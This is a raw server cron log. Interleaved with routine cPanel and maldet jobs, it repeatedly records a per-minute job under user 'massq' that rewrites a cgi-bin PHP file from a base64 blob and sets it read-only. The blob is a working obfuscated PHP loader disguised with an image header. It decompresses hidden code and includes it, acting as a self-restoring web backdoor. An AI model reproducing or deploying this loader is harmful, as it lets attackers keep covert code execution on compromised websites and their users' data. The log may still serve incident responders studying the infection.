Nov 14 11:18:01 server CROND[3079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:19:01 server CROND[3940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:20:01 server CROND[4886]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 11:20:01 server CROND[4887]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 11:20:01 server CROND[4891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:20:01 server CROND[4890]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:20:01 server CROND[4892]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:21:01 server CROND[5803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:22:01 server CROND[6714]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:23:01 server CROND[7583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:24:01 server CROND[8440]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:25:01 server CROND[9568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:25:01 server CROND[9570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:25:01 server CROND[9597]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:26:01 server CROND[10500]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:27:01 server CROND[10845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 11:27:01 server CROND[10846]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:28:01 server CROND[11736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:29:01 server CROND[12602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 11:30:01 server CROND[13564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 11:30:01 server CROND[13566]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 11:30:01 server CROND[13569]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 11:30:01 server CROND[13568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
